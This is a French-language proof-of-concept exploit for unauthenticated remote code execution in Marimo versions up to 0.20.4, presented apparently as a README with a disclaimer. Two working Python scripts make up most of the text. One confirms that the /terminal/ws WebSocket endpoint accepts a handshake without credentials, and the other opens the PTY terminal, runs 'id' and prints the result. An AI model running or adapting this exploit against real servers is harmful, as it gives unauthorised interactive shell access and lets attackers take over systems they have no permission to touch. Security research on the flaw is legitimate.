
Preuve de concept d'exploitation pour l'exécution de code à distance sans authentification dans Marimo via le point de terminaison WebSocket, permettant à des attaquants non authentifiés d'obtenir un shell PTY interactif.
Uniquement à des fins éducatives et de recherche en sécurité autorisée.
Exécution de code à distance pré-authentifiée dans Marimo <= 0.20.4.
Le point de terminaison WebSocket /terminal/ws ignore la validation d'authentification, permettant à un attaquant non authentifié d'obtenir un shell PTY interactif complet via une seule connexion.
websockets (pip install websockets)Confirme que le point de terminaison accepte les connexions sans informations d'identification :
import socket, base64, os
host = '127.0.0.1'
port = 2718
path = '/terminal/ws'
key = base64.b64encode(os.urandom(16)).decode()
handshake = (
f'GET {path} HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n'
f'Upgrade: websocket\r\n'
f'Connection: Upgrade\r\n'
f'Sec-WebSocket-Key: {key}\r\n'
f'Sec-WebSocket-Version: 13\r\n'
f'Sec-WebSocket-Protocol: terminal\r\n'
f'\r\n'
)
s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()
Résultat attendu : HTTP/1.1 101 Switching Protocols
import asyncio, websockets, re
async def exploit(host, port):
uri = f"ws://{host}:{port}/terminal/ws"
async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
print("[+] Connexion établie sans authentification")
await asyncio.sleep(0.3)
# Lire la bannière PTY initiale
try:
msg = await asyncio.wait_for(ws.recv(), timeout=2)
print("[Bannière PTY] :", repr(msg))
except asyncio.TimeoutError:
pass
# Envoyer la commande
await ws.send("id\n")
await asyncio.sleep(0.5)
# Lire les trames jusqu'au délai d'attente
output = []
while True:
try:
msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
output.append(msg)
except asyncio.TimeoutError:
break
clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
print("[Sortie RCE] :", clean)
asyncio.run(exploit("127.0.0.1", 2718))
Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite est illégale. L'auteur n'est pas responsable de toute utilisation abusive.